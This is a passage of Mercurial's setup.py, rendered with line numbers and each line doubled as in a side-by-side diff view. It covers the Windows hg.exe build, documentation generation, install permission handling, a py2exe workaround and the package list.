792 ctypes.c_void_p,
792 ctypes.c_void_p,
793 ctypes.c_void_p,
793 ctypes.c_void_p,
794 ctypes.c_ulong,
794 ctypes.c_ulong,
795 ]
795 ]
796 _kernel32.GetModuleFileNameA.restype = ctypes.c_ulong
796 _kernel32.GetModuleFileNameA.restype = ctypes.c_ulong
797 size = 1000
797 size = 1000
798 buf = ctypes.create_string_buffer(size + 1)
798 buf = ctypes.create_string_buffer(size + 1)
799 filelen = _kernel32.GetModuleFileNameA(
799 filelen = _kernel32.GetModuleFileNameA(
800 sys.dllhandle, ctypes.byref(buf), size
800 sys.dllhandle, ctypes.byref(buf), size
801 )
801 )
802
802
803 if filelen > 0 and filelen != size:
803 if filelen > 0 and filelen != size:
804 dllbasename = os.path.basename(buf.value)
804 dllbasename = os.path.basename(buf.value)
805 if not dllbasename.lower().endswith(b'.dll'):
805 if not dllbasename.lower().endswith(b'.dll'):
806 raise SystemExit(
806 raise SystemExit(
807 'Python DLL does not end with .dll: %s' % dllbasename
807 'Python DLL does not end with .dll: %s' % dllbasename
808 )
808 )
809 pythonlib = dllbasename[:-4]
809 pythonlib = dllbasename[:-4]
810
810
811 # Copy the pythonXY.dll next to the binary so that it runs
811 # Copy the pythonXY.dll next to the binary so that it runs
812 # without tampering with PATH.
812 # without tampering with PATH.
813 fsdecode = lambda x: x
813 fsdecode = lambda x: x
814 if sys.version_info[0] >= 3:
814 if sys.version_info[0] >= 3:
815 fsdecode = os.fsdecode
815 fsdecode = os.fsdecode
816 dest = os.path.join(
816 dest = os.path.join(
817 os.path.dirname(self.hgtarget),
817 os.path.dirname(self.hgtarget),
818 fsdecode(dllbasename),
818 fsdecode(dllbasename),
819 )
819 )
820
820
821 if not os.path.exists(dest):
821 if not os.path.exists(dest):
822 shutil.copy(buf.value, dest)
822 shutil.copy(buf.value, dest)
823
823
824 # Also overwrite python3.dll so that hgext.git is usable.
824 # Also overwrite python3.dll so that hgext.git is usable.
825 # TODO: also handle the MSYS flavor
825 # TODO: also handle the MSYS flavor
826 if sys.version_info[0] >= 3:
826 if sys.version_info[0] >= 3:
827 python_x = os.path.join(
827 python_x = os.path.join(
828 os.path.dirname(fsdecode(buf.value)),
828 os.path.dirname(fsdecode(buf.value)),
829 "python3.dll",
829 "python3.dll",
830 )
830 )
831
831
832 if os.path.exists(python_x):
832 if os.path.exists(python_x):
833 dest = os.path.join(
833 dest = os.path.join(
834 os.path.dirname(self.hgtarget),
834 os.path.dirname(self.hgtarget),
835 os.path.basename(python_x),
835 os.path.basename(python_x),
836 )
836 )
837
837
838 shutil.copy(python_x, dest)
838 shutil.copy(python_x, dest)
839
839
840 if not pythonlib:
840 if not pythonlib:
841 log.warn(
841 log.warn(
842 'could not determine Python DLL filename; assuming pythonXY'
842 'could not determine Python DLL filename; assuming pythonXY'
843 )
843 )
844
844
845 hv = sys.hexversion
845 hv = sys.hexversion
846 pythonlib = b'python%d%d' % (hv >> 24, (hv >> 16) & 0xFF)
846 pythonlib = b'python%d%d' % (hv >> 24, (hv >> 16) & 0xFF)
847
847
848 log.info('using %s as Python library name' % pythonlib)
848 log.info('using %s as Python library name' % pythonlib)
849 with open('mercurial/hgpythonlib.h', 'wb') as f:
849 with open('mercurial/hgpythonlib.h', 'wb') as f:
850 f.write(b'/* this file is autogenerated by setup.py */\n')
850 f.write(b'/* this file is autogenerated by setup.py */\n')
851 f.write(b'#define HGPYTHONLIB "%s"\n' % pythonlib)
851 f.write(b'#define HGPYTHONLIB "%s"\n' % pythonlib)
852
852
853 macros = None
853 macros = None
854 if sys.version_info[0] >= 3:
854 if sys.version_info[0] >= 3:
855 macros = [('_UNICODE', None), ('UNICODE', None)]
855 macros = [('_UNICODE', None), ('UNICODE', None)]
856
856
857 objects = self.compiler.compile(
857 objects = self.compiler.compile(
858 ['mercurial/exewrapper.c'],
858 ['mercurial/exewrapper.c'],
859 output_dir=self.build_temp,
859 output_dir=self.build_temp,
860 macros=macros,
860 macros=macros,
861 )
861 )
862 self.compiler.link_executable(
862 self.compiler.link_executable(
863 objects, self.hgtarget, libraries=[], output_dir=self.build_temp
863 objects, self.hgtarget, libraries=[], output_dir=self.build_temp
864 )
864 )
865 if self.long_paths_support:
865 if self.long_paths_support:
866 self.addlongpathsmanifest()
866 self.addlongpathsmanifest()
867
867
868 def addlongpathsmanifest(self):
868 def addlongpathsmanifest(self):
869 r"""Add manifest pieces so that hg.exe understands long paths
869 r"""Add manifest pieces so that hg.exe understands long paths
870
870
871 This is an EXPERIMENTAL feature, use with care.
871 This is an EXPERIMENTAL feature, use with care.
872 To enable long paths support, one needs to do two things:
872 To enable long paths support, one needs to do two things:
873 - build Mercurial with --long-paths-support option
873 - build Mercurial with --long-paths-support option
874 - change HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\
874 - change HKLM\SYSTEM\CurrentControlSet\Control\FileSystem\
875 LongPathsEnabled to have value 1.
875 LongPathsEnabled to have value 1.
876
876
877 Please ignore 'warning 81010002: Unrecognized Element "longPathAware"';
877 Please ignore 'warning 81010002: Unrecognized Element "longPathAware"';
878 it happens because Mercurial uses mt.exe circa 2008, which is not
878 it happens because Mercurial uses mt.exe circa 2008, which is not
879 yet aware of long paths support in the manifest (I think so at least).
879 yet aware of long paths support in the manifest (I think so at least).
880 This does not stop mt.exe from embedding/merging the XML properly.
880 This does not stop mt.exe from embedding/merging the XML properly.
881
881
882 Why resource #1 should be used for .exe manifests? I don't know and
882 Why resource #1 should be used for .exe manifests? I don't know and
883 wasn't able to find an explanation for mortals. But it seems to work.
883 wasn't able to find an explanation for mortals. But it seems to work.
884 """
884 """
885 exefname = self.compiler.executable_filename(self.hgtarget)
885 exefname = self.compiler.executable_filename(self.hgtarget)
886 fdauto, manfname = tempfile.mkstemp(suffix='.hg.exe.manifest')
886 fdauto, manfname = tempfile.mkstemp(suffix='.hg.exe.manifest')
887 os.close(fdauto)
887 os.close(fdauto)
888 with open(manfname, 'w') as f:
888 with open(manfname, 'w') as f:
889 f.write(self.LONG_PATHS_MANIFEST)
889 f.write(self.LONG_PATHS_MANIFEST)
890 log.info("long paths manifest is written to '%s'" % manfname)
890 log.info("long paths manifest is written to '%s'" % manfname)
891 inputresource = '-inputresource:%s;#1' % exefname
891 inputresource = '-inputresource:%s;#1' % exefname
892 outputresource = '-outputresource:%s;#1' % exefname
892 outputresource = '-outputresource:%s;#1' % exefname
893 log.info("running mt.exe to update hg.exe's manifest in-place")
893 log.info("running mt.exe to update hg.exe's manifest in-place")
894 # supplying both -manifest and -inputresource to mt.exe makes
894 # supplying both -manifest and -inputresource to mt.exe makes
895 # it merge the embedded and supplied manifests in the -outputresource
895 # it merge the embedded and supplied manifests in the -outputresource
896 self.spawn(
896 self.spawn(
897 [
897 [
898 'mt.exe',
898 'mt.exe',
899 '-nologo',
899 '-nologo',
900 '-manifest',
900 '-manifest',
901 manfname,
901 manfname,
902 inputresource,
902 inputresource,
903 outputresource,
903 outputresource,
904 ]
904 ]
905 )
905 )
906 log.info("done updating hg.exe's manifest")
906 log.info("done updating hg.exe's manifest")
907 os.remove(manfname)
907 os.remove(manfname)
908
908
909 @property
909 @property
910 def hgexepath(self):
910 def hgexepath(self):
911 dir = os.path.dirname(self.get_ext_fullpath('dummy'))
911 dir = os.path.dirname(self.get_ext_fullpath('dummy'))
912 return os.path.join(self.build_temp, dir, 'hg.exe')
912 return os.path.join(self.build_temp, dir, 'hg.exe')
913
913
914
914
915 class hgbuilddoc(Command):
915 class hgbuilddoc(Command):
916 description = 'build documentation'
916 description = 'build documentation'
917 user_options = [
917 user_options = [
918 ('man', None, 'generate man pages'),
918 ('man', None, 'generate man pages'),
919 ('html', None, 'generate html pages'),
919 ('html', None, 'generate html pages'),
920 ]
920 ]
921
921
922 def initialize_options(self):
922 def initialize_options(self):
923 self.man = None
923 self.man = None
924 self.html = None
924 self.html = None
925
925
926 def finalize_options(self):
926 def finalize_options(self):
927 # If --man or --html are set, only generate what we're told to.
927 # If --man or --html are set, only generate what we're told to.
928 # Otherwise generate everything.
928 # Otherwise generate everything.
929 have_subset = self.man is not None or self.html is not None
929 have_subset = self.man is not None or self.html is not None
930
930
931 if have_subset:
931 if have_subset:
932 self.man = True if self.man else False
932 self.man = True if self.man else False
933 self.html = True if self.html else False
933 self.html = True if self.html else False
934 else:
934 else:
935 self.man = True
935 self.man = True
936 self.html = True
936 self.html = True
937
937
938 def run(self):
938 def run(self):
939 def normalizecrlf(p):
939 def normalizecrlf(p):
940 with open(p, 'rb') as fh:
940 with open(p, 'rb') as fh:
941 orig = fh.read()
941 orig = fh.read()
942
942
943 if b'\r\n' not in orig:
943 if b'\r\n' not in orig:
944 return
944 return
945
945
946 log.info('normalizing %s to LF line endings' % p)
946 log.info('normalizing %s to LF line endings' % p)
947 with open(p, 'wb') as fh:
947 with open(p, 'wb') as fh:
948 fh.write(orig.replace(b'\r\n', b'\n'))
948 fh.write(orig.replace(b'\r\n', b'\n'))
949
949
950 def gentxt(root):
950 def gentxt(root):
951 txt = 'doc/%s.txt' % root
951 txt = 'doc/%s.txt' % root
952 log.info('generating %s' % txt)
952 log.info('generating %s' % txt)
953 res, out, err = runcmd(
953 res, out, err = runcmd(
954 [sys.executable, 'gendoc.py', root], os.environ, cwd='doc'
954 [sys.executable, 'gendoc.py', root], os.environ, cwd='doc'
955 )
955 )
956 if res:
956 if res:
957 raise SystemExit(
957 raise SystemExit(
958 'error running gendoc.py: %s'
958 'error running gendoc.py: %s'
959 % '\n'.join([sysstr(out), sysstr(err)])
959 % '\n'.join([sysstr(out), sysstr(err)])
960 )
960 )
961
961
962 with open(txt, 'wb') as fh:
962 with open(txt, 'wb') as fh:
963 fh.write(out)
963 fh.write(out)
964
964
965 def gengendoc(root):
965 def gengendoc(root):
966 gendoc = 'doc/%s.gendoc.txt' % root
966 gendoc = 'doc/%s.gendoc.txt' % root
967
967
968 log.info('generating %s' % gendoc)
968 log.info('generating %s' % gendoc)
969 res, out, err = runcmd(
969 res, out, err = runcmd(
970 [sys.executable, 'gendoc.py', '%s.gendoc' % root],
970 [sys.executable, 'gendoc.py', '%s.gendoc' % root],
971 os.environ,
971 os.environ,
972 cwd='doc',
972 cwd='doc',
973 )
973 )
974 if res:
974 if res:
975 raise SystemExit(
975 raise SystemExit(
976 'error running gendoc: %s'
976 'error running gendoc: %s'
977 % '\n'.join([sysstr(out), sysstr(err)])
977 % '\n'.join([sysstr(out), sysstr(err)])
978 )
978 )
979
979
980 with open(gendoc, 'wb') as fh:
980 with open(gendoc, 'wb') as fh:
981 fh.write(out)
981 fh.write(out)
982
982
983 def genman(root):
983 def genman(root):
984 log.info('generating doc/%s' % root)
984 log.info('generating doc/%s' % root)
985 res, out, err = runcmd(
985 res, out, err = runcmd(
986 [
986 [
987 sys.executable,
987 sys.executable,
988 'runrst',
988 'runrst',
989 'hgmanpage',
989 'hgmanpage',
990 '--halt',
990 '--halt',
991 'warning',
991 'warning',
992 '--strip-elements-with-class',
992 '--strip-elements-with-class',
993 'htmlonly',
993 'htmlonly',
994 '%s.txt' % root,
994 '%s.txt' % root,
995 root,
995 root,
996 ],
996 ],
997 os.environ,
997 os.environ,
998 cwd='doc',
998 cwd='doc',
999 )
999 )
1000 if res:
1000 if res:
1001 raise SystemExit(
1001 raise SystemExit(
1002 'error running runrst: %s'
1002 'error running runrst: %s'
1003 % '\n'.join([sysstr(out), sysstr(err)])
1003 % '\n'.join([sysstr(out), sysstr(err)])
1004 )
1004 )
1005
1005
1006 normalizecrlf('doc/%s' % root)
1006 normalizecrlf('doc/%s' % root)
1007
1007
1008 def genhtml(root):
1008 def genhtml(root):
1009 log.info('generating doc/%s.html' % root)
1009 log.info('generating doc/%s.html' % root)
1010 res, out, err = runcmd(
1010 res, out, err = runcmd(
1011 [
1011 [
1012 sys.executable,
1012 sys.executable,
1013 'runrst',
1013 'runrst',
1014 'html',
1014 'html',
1015 '--halt',
1015 '--halt',
1016 'warning',
1016 'warning',
1017 '--link-stylesheet',
1017 '--link-stylesheet',
1018 '--stylesheet-path',
1018 '--stylesheet-path',
1019 'style.css',
1019 'style.css',
1020 '%s.txt' % root,
1020 '%s.txt' % root,
1021 '%s.html' % root,
1021 '%s.html' % root,
1022 ],
1022 ],
1023 os.environ,
1023 os.environ,
1024 cwd='doc',
1024 cwd='doc',
1025 )
1025 )
1026 if res:
1026 if res:
1027 raise SystemExit(
1027 raise SystemExit(
1028 'error running runrst: %s'
1028 'error running runrst: %s'
1029 % '\n'.join([sysstr(out), sysstr(err)])
1029 % '\n'.join([sysstr(out), sysstr(err)])
1030 )
1030 )
1031
1031
1032 normalizecrlf('doc/%s.html' % root)
1032 normalizecrlf('doc/%s.html' % root)
1033
1033
1034 # This logic is duplicated in doc/Makefile.
1034 # This logic is duplicated in doc/Makefile.
1035 sources = {
1035 sources = {
1036 f
1036 f
1037 for f in os.listdir('mercurial/helptext')
1037 for f in os.listdir('mercurial/helptext')
1038 if re.search(r'[0-9]\.txt$', f)
1038 if re.search(r'[0-9]\.txt$', f)
1039 }
1039 }
1040
1040
1041 # common.txt is a one-off.
1041 # common.txt is a one-off.
1042 gentxt('common')
1042 gentxt('common')
1043
1043
1044 for source in sorted(sources):
1044 for source in sorted(sources):
1045 assert source[-4:] == '.txt'
1045 assert source[-4:] == '.txt'
1046 root = source[:-4]
1046 root = source[:-4]
1047
1047
1048 gentxt(root)
1048 gentxt(root)
1049 gengendoc(root)
1049 gengendoc(root)
1050
1050
1051 if self.man:
1051 if self.man:
1052 genman(root)
1052 genman(root)
1053 if self.html:
1053 if self.html:
1054 genhtml(root)
1054 genhtml(root)
1055
1055
1056
1056
1057 class hginstall(install):
1057 class hginstall(install):
1058
1058
1059 user_options = install.user_options + [
1059 user_options = install.user_options + [
1060 (
1060 (
1061 'old-and-unmanageable',
1061 'old-and-unmanageable',
1062 None,
1062 None,
1063 'noop, present for eggless setuptools compat',
1063 'noop, present for eggless setuptools compat',
1064 ),
1064 ),
1065 (
1065 (
1066 'single-version-externally-managed',
1066 'single-version-externally-managed',
1067 None,
1067 None,
1068 'noop, present for eggless setuptools compat',
1068 'noop, present for eggless setuptools compat',
1069 ),
1069 ),
1070 ]
1070 ]
1071
1071
1072 # Also helps setuptools not be sad while we refuse to create eggs.
1072 # Also helps setuptools not be sad while we refuse to create eggs.
1073 single_version_externally_managed = True
1073 single_version_externally_managed = True
1074
1074
1075 def get_sub_commands(self):
1075 def get_sub_commands(self):
1076 # Screen out egg related commands to prevent egg generation. But allow
1076 # Screen out egg related commands to prevent egg generation. But allow
1077 # mercurial.egg-info generation, since that is part of modern
1077 # mercurial.egg-info generation, since that is part of modern
1078 # packaging.
1078 # packaging.
1079 excl = {'bdist_egg'}
1079 excl = {'bdist_egg'}
1080 return filter(lambda x: x not in excl, install.get_sub_commands(self))
1080 return filter(lambda x: x not in excl, install.get_sub_commands(self))
1081
1081
1082
1082
1083 class hginstalllib(install_lib):
1083 class hginstalllib(install_lib):
1084 """
1084 """
1085 This is a specialization of install_lib that replaces the copy_file used
1085 This is a specialization of install_lib that replaces the copy_file used
1086 there so that it supports setting the mode of files after copying them,
1086 there so that it supports setting the mode of files after copying them,
1087 instead of just preserving the mode that the files originally had. If your
1087 instead of just preserving the mode that the files originally had. If your
1088 system has a umask of something like 027, preserving the permissions when
1088 system has a umask of something like 027, preserving the permissions when
1089 copying will lead to a broken install.
1089 copying will lead to a broken install.
1090
1090
1091 Note that just passing keep_permissions=False to copy_file would be
1091 Note that just passing keep_permissions=False to copy_file would be
1092 insufficient, as it might still be applying a umask.
1092 insufficient, as it might still be applying a umask.
1093 """
1093 """
1094
1094
1095 def run(self):
1095 def run(self):
1096 realcopyfile = file_util.copy_file
1096 realcopyfile = file_util.copy_file
1097
1097
1098 def copyfileandsetmode(*args, **kwargs):
1098 def copyfileandsetmode(*args, **kwargs):
1099 src, dst = args[0], args[1]
1099 src, dst = args[0], args[1]
1100 dst, copied = realcopyfile(*args, **kwargs)
1100 dst, copied = realcopyfile(*args, **kwargs)
1101 if copied:
1101 if copied:
1102 st = os.stat(src)
1102 st = os.stat(src)
1103 # Persist executable bit (apply it to group and other if user
1103 # Persist executable bit (apply it to group and other if user
1104 # has it)
1104 # has it)
1105 if st[stat.ST_MODE] & stat.S_IXUSR:
1105 if st[stat.ST_MODE] & stat.S_IXUSR:
1106 setmode = int('0755', 8)
1106 setmode = int('0755', 8)
1107 else:
1107 else:
1108 setmode = int('0644', 8)
1108 setmode = int('0644', 8)
1109 m = stat.S_IMODE(st[stat.ST_MODE])
1109 m = stat.S_IMODE(st[stat.ST_MODE])
1110 m = (m & ~int('0777', 8)) | setmode
1110 m = (m & ~int('0777', 8)) | setmode
1111 os.chmod(dst, m)
1111 os.chmod(dst, m)
1112
1112
1113 file_util.copy_file = copyfileandsetmode
1113 file_util.copy_file = copyfileandsetmode
1114 try:
1114 try:
1115 install_lib.run(self)
1115 install_lib.run(self)
1116 finally:
1116 finally:
1117 file_util.copy_file = realcopyfile
1117 file_util.copy_file = realcopyfile
1118
1118
1119
1119
1120 class hginstallscripts(install_scripts):
1120 class hginstallscripts(install_scripts):
1121 """
1121 """
1122 This is a specialization of install_scripts that replaces the @LIBDIR@ with
1122 This is a specialization of install_scripts that replaces the @LIBDIR@ with
1123 the configured directory for modules. If possible, the path is made relative
1123 the configured directory for modules. If possible, the path is made relative
1124 to the directory for scripts.
1124 to the directory for scripts.
1125 """
1125 """
1126
1126
1127 def initialize_options(self):
1127 def initialize_options(self):
1128 install_scripts.initialize_options(self)
1128 install_scripts.initialize_options(self)
1129
1129
1130 self.install_lib = None
1130 self.install_lib = None
1131
1131
1132 def finalize_options(self):
1132 def finalize_options(self):
1133 install_scripts.finalize_options(self)
1133 install_scripts.finalize_options(self)
1134 self.set_undefined_options('install', ('install_lib', 'install_lib'))
1134 self.set_undefined_options('install', ('install_lib', 'install_lib'))
1135
1135
1136 def run(self):
1136 def run(self):
1137 install_scripts.run(self)
1137 install_scripts.run(self)
1138
1138
1139 # It only makes sense to replace @LIBDIR@ with the install path if
1139 # It only makes sense to replace @LIBDIR@ with the install path if
1140 # the install path is known. For wheels, the logic below calculates
1140 # the install path is known. For wheels, the logic below calculates
1141 # the libdir to be "../..". This is because the internal layout of a
1141 # the libdir to be "../..". This is because the internal layout of a
1142 # wheel archive looks like:
1142 # wheel archive looks like:
1143 #
1143 #
1144 # mercurial-3.6.1.data/scripts/hg
1144 # mercurial-3.6.1.data/scripts/hg
1145 # mercurial/__init__.py
1145 # mercurial/__init__.py
1146 #
1146 #
1147 # When installing wheels, the subdirectories of the "<pkg>.data"
1147 # When installing wheels, the subdirectories of the "<pkg>.data"
1148 # directory are translated to system local paths and files therein
1148 # directory are translated to system local paths and files therein
1149 # are copied in place. The mercurial/* files are installed into the
1149 # are copied in place. The mercurial/* files are installed into the
1150 # site-packages directory. However, the site-packages directory
1150 # site-packages directory. However, the site-packages directory
1151 # isn't known until wheel install time. This means we have no clue
1151 # isn't known until wheel install time. This means we have no clue
1152 # at wheel generation time what the installed site-packages directory
1152 # at wheel generation time what the installed site-packages directory
1153 # will be. And, wheels don't appear to provide the ability to register
1153 # will be. And, wheels don't appear to provide the ability to register
1154 # custom code to run during wheel installation. This all means that
1154 # custom code to run during wheel installation. This all means that
1155 # we can't reliably set the libdir in wheels: the default behavior
1155 # we can't reliably set the libdir in wheels: the default behavior
1156 # of looking in sys.path must do.
1156 # of looking in sys.path must do.
1157
1157
1158 if (
1158 if (
1159 os.path.splitdrive(self.install_dir)[0]
1159 os.path.splitdrive(self.install_dir)[0]
1160 != os.path.splitdrive(self.install_lib)[0]
1160 != os.path.splitdrive(self.install_lib)[0]
1161 ):
1161 ):
1162 # can't make relative paths from one drive to another, so use an
1162 # can't make relative paths from one drive to another, so use an
1163 # absolute path instead
1163 # absolute path instead
1164 libdir = self.install_lib
1164 libdir = self.install_lib
1165 else:
1165 else:
1166 libdir = os.path.relpath(self.install_lib, self.install_dir)
1166 libdir = os.path.relpath(self.install_lib, self.install_dir)
1167
1167
1168 for outfile in self.outfiles:
1168 for outfile in self.outfiles:
1169 with open(outfile, 'rb') as fp:
1169 with open(outfile, 'rb') as fp:
1170 data = fp.read()
1170 data = fp.read()
1171
1171
1172 # skip binary files
1172 # skip binary files
1173 if b'\0' in data:
1173 if b'\0' in data:
1174 continue
1174 continue
1175
1175
1176 # During local installs, the shebang will be rewritten to the final
1176 # During local installs, the shebang will be rewritten to the final
1177 # install path. During wheel packaging, the shebang has a special
1177 # install path. During wheel packaging, the shebang has a special
1178 # value.
1178 # value.
1179 if data.startswith(b'#!python'):
1179 if data.startswith(b'#!python'):
1180 log.info(
1180 log.info(
1181 'not rewriting @LIBDIR@ in %s because install path '
1181 'not rewriting @LIBDIR@ in %s because install path '
1182 'not known' % outfile
1182 'not known' % outfile
1183 )
1183 )
1184 continue
1184 continue
1185
1185
1186 data = data.replace(b'@LIBDIR@', libdir.encode(libdir_escape))
1186 data = data.replace(b'@LIBDIR@', libdir.encode(libdir_escape))
1187 with open(outfile, 'wb') as fp:
1187 with open(outfile, 'wb') as fp:
1188 fp.write(data)
1188 fp.write(data)
1189
1189
1190
1190
1191 # virtualenv installs custom distutils/__init__.py and
1191 # virtualenv installs custom distutils/__init__.py and
1192 # distutils/distutils.cfg files which essentially proxy back to the
1192 # distutils/distutils.cfg files which essentially proxy back to the
1193 # "real" distutils in the main Python install. The presence of this
1193 # "real" distutils in the main Python install. The presence of this
1194 # directory causes py2exe to pick up the "hacked" distutils package
1194 # directory causes py2exe to pick up the "hacked" distutils package
1195 # from the virtualenv and "import distutils" will fail from the py2exe
1195 # from the virtualenv and "import distutils" will fail from the py2exe
1196 # build because the "real" distutils files can't be located.
1196 # build because the "real" distutils files can't be located.
1197 #
1197 #
1198 # We work around this by monkeypatching the py2exe code finding Python
1198 # We work around this by monkeypatching the py2exe code finding Python
1199 # modules to replace the found virtualenv distutils modules with the
1199 # modules to replace the found virtualenv distutils modules with the
1200 # original versions via filesystem scanning. This is a bit hacky. But
1200 # original versions via filesystem scanning. This is a bit hacky. But
1201 # it allows us to use virtualenvs for py2exe packaging, which is more
1201 # it allows us to use virtualenvs for py2exe packaging, which is more
1202 # deterministic and reproducible.
1202 # deterministic and reproducible.
1203 #
1203 #
1204 # It's worth noting that the common StackOverflow suggestions for this
1204 # It's worth noting that the common StackOverflow suggestions for this
1205 # problem involve copying the original distutils files into the
1205 # problem involve copying the original distutils files into the
1206 # virtualenv or into the staging directory after setup() is invoked.
1206 # virtualenv or into the staging directory after setup() is invoked.
1207 # The former is very brittle and can easily break setup(). Our hacking
1207 # The former is very brittle and can easily break setup(). Our hacking
1208 # of the found modules routine has a similar result as copying the files
1208 # of the found modules routine has a similar result as copying the files
1209 # manually. But it makes fewer assumptions about how py2exe works and
1209 # manually. But it makes fewer assumptions about how py2exe works and
1210 # is less brittle.
1210 # is less brittle.
1211
1211
1212 # This only catches virtualenvs made with virtualenv (as opposed to
1212 # This only catches virtualenvs made with virtualenv (as opposed to
1213 # venv, which is likely what Python 3 uses).
1213 # venv, which is likely what Python 3 uses).
1214 py2exehacked = py2exeloaded and getattr(sys, 'real_prefix', None) is not None
1214 py2exehacked = py2exeloaded and getattr(sys, 'real_prefix', None) is not None
1215
1215
1216 if py2exehacked:
1216 if py2exehacked:
1217 from distutils.command.py2exe import py2exe as buildpy2exe
1217 from distutils.command.py2exe import py2exe as buildpy2exe
1218 from py2exe.mf import Module as py2exemodule
1218 from py2exe.mf import Module as py2exemodule
1219
1219
1220 class hgbuildpy2exe(buildpy2exe):
1220 class hgbuildpy2exe(buildpy2exe):
1221 def find_needed_modules(self, mf, files, modules):
1221 def find_needed_modules(self, mf, files, modules):
1222 res = buildpy2exe.find_needed_modules(self, mf, files, modules)
1222 res = buildpy2exe.find_needed_modules(self, mf, files, modules)
1223
1223
1224 # Replace virtualenv's distutils modules with the real ones.
1224 # Replace virtualenv's distutils modules with the real ones.
1225 modules = {}
1225 modules = {}
1226 for k, v in res.modules.items():
1226 for k, v in res.modules.items():
1227 if k != 'distutils' and not k.startswith('distutils.'):
1227 if k != 'distutils' and not k.startswith('distutils.'):
1228 modules[k] = v
1228 modules[k] = v
1229
1229
1230 res.modules = modules
1230 res.modules = modules
1231
1231
1232 import opcode
1232 import opcode
1233
1233
1234 distutilsreal = os.path.join(
1234 distutilsreal = os.path.join(
1235 os.path.dirname(opcode.__file__), 'distutils'
1235 os.path.dirname(opcode.__file__), 'distutils'
1236 )
1236 )
1237
1237
1238 for root, dirs, files in os.walk(distutilsreal):
1238 for root, dirs, files in os.walk(distutilsreal):
1239 for f in sorted(files):
1239 for f in sorted(files):
1240 if not f.endswith('.py'):
1240 if not f.endswith('.py'):
1241 continue
1241 continue
1242
1242
1243 full = os.path.join(root, f)
1243 full = os.path.join(root, f)
1244
1244
1245 parents = ['distutils']
1245 parents = ['distutils']
1246
1246
1247 if root != distutilsreal:
1247 if root != distutilsreal:
1248 rel = os.path.relpath(root, distutilsreal)
1248 rel = os.path.relpath(root, distutilsreal)
1249 parents.extend(p for p in rel.split(os.sep))
1249 parents.extend(p for p in rel.split(os.sep))
1250
1250
1251 modname = '%s.%s' % ('.'.join(parents), f[:-3])
1251 modname = '%s.%s' % ('.'.join(parents), f[:-3])
1252
1252
1253 if modname.startswith('distutils.tests.'):
1253 if modname.startswith('distutils.tests.'):
1254 continue
1254 continue
1255
1255
1256 if modname.endswith('.__init__'):
1256 if modname.endswith('.__init__'):
1257 modname = modname[: -len('.__init__')]
1257 modname = modname[: -len('.__init__')]
1258 path = os.path.dirname(full)
1258 path = os.path.dirname(full)
1259 else:
1259 else:
1260 path = None
1260 path = None
1261
1261
1262 res.modules[modname] = py2exemodule(
1262 res.modules[modname] = py2exemodule(
1263 modname, full, path=path
1263 modname, full, path=path
1264 )
1264 )
1265
1265
1266 if 'distutils' not in res.modules:
1266 if 'distutils' not in res.modules:
1267 raise SystemExit('could not find distutils modules')
1267 raise SystemExit('could not find distutils modules')
1268
1268
1269 return res
1269 return res
1270
1270
1271
1271
1272 cmdclass = {
1272 cmdclass = {
1273 'build': hgbuild,
1273 'build': hgbuild,
1274 'build_doc': hgbuilddoc,
1274 'build_doc': hgbuilddoc,
1275 'build_mo': hgbuildmo,
1275 'build_mo': hgbuildmo,
1276 'build_ext': hgbuildext,
1276 'build_ext': hgbuildext,
1277 'build_py': hgbuildpy,
1277 'build_py': hgbuildpy,
1278 'build_scripts': hgbuildscripts,
1278 'build_scripts': hgbuildscripts,
1279 'build_hgextindex': buildhgextindex,
1279 'build_hgextindex': buildhgextindex,
1280 'install': hginstall,
1280 'install': hginstall,
1281 'install_lib': hginstalllib,
1281 'install_lib': hginstalllib,
1282 'install_scripts': hginstallscripts,
1282 'install_scripts': hginstallscripts,
1283 'build_hgexe': buildhgexe,
1283 'build_hgexe': buildhgexe,
1284 }
1284 }
1285
1285
1286 if py2exehacked:
1286 if py2exehacked:
1287 cmdclass['py2exe'] = hgbuildpy2exe
1287 cmdclass['py2exe'] = hgbuildpy2exe
1288
1288
1289 packages = [
1289 packages = [
1290 'mercurial',
1290 'mercurial',
1291 'mercurial.cext',
1291 'mercurial.cext',
1292 'mercurial.cffi',
1292 'mercurial.cffi',
1293 'mercurial.defaultrc',
1293 'mercurial.defaultrc',
1294 'mercurial.dirstateutils',
1294 'mercurial.dirstateutils',
1295 'mercurial.helptext',
1295 'mercurial.helptext',
1296 'mercurial.helptext.internals',
1296 'mercurial.helptext.internals',
1297 'mercurial.hgweb',
1297 'mercurial.hgweb',
1298 'mercurial.interfaces',
1298 'mercurial.interfaces',
1299 'mercurial.pure',
1299 'mercurial.pure',
1300 'mercurial.templates',
1300 'mercurial.templates',
1301 'mercurial.thirdparty',
1301 'mercurial.thirdparty',
1302 'mercurial.thirdparty.attr',
1302 'mercurial.thirdparty.attr',
1303 'mercurial.thirdparty.zope',
1303 'mercurial.thirdparty.zope',
1304 'mercurial.thirdparty.zope.interface',
1304 'mercurial.thirdparty.zope.interface',
1305 'mercurial.upgrade_utils',
1305 'mercurial.upgrade_utils',
1306 'mercurial.utils',
1306 'mercurial.utils',
1307 'mercurial.revlogutils',
1307 'mercurial.revlogutils',
1308 'mercurial.testing',
1308 'mercurial.testing',
1309 'hgext',
1309 'hgext',
1310 'hgext.convert',
1310 'hgext.convert',
1311 'hgext.fsmonitor',
1311 'hgext.fsmonitor',
1312 'hgext.fastannotate',
1312 'hgext.fastannotate',
1313 'hgext.fsmonitor.pywatchman',
1313 'hgext.fsmonitor.pywatchman',
1314 'hgext.git',
1314 'hgext.git',
1315 'hgext.highlight',
1315 'hgext.highlight',
1316 'hgext.hooklib',
1316 'hgext.hooklib',
1317 'hgext.infinitepush',
1317 'hgext.infinitepush',
1318 'hgext.largefiles',
1318 'hgext.largefiles',
1319 'hgext.lfs',
1319 'hgext.lfs',
1320 'hgext.narrow',
1320 'hgext.narrow',
1321 'hgext.remotefilelog',
1321 'hgext.remotefilelog',
1322 'hgext.zeroconf',
1322 'hgext.zeroconf',
1323 'hgext3rd',
1323 'hgext3rd',
1324 'hgdemandimport',
1324 'hgdemandimport',
1325 ]
1325 ]
1326
1326
1327 # The pygit2 dependency dropped py2 support with the 1.0 release in Dec 2019.
1327 # The pygit2 dependency dropped py2 support with the 1.0 release in Dec 2019.
1328 # Prior releases do not build at all on Windows, because Visual Studio 2008
1328 # Prior releases do not build at all on Windows, because Visual Studio 2008
1329 # doesn't understand C 11. Older Linux releases are buggy.
1329 # doesn't understand C 11. Older Linux releases are buggy.
1330 if sys.version_info[0] == 2:
1330 if sys.version_info[0] == 2:
1331 packages.remove('hgext.git')
1331 packages.remove('hgext.git')
1332
1332
1333
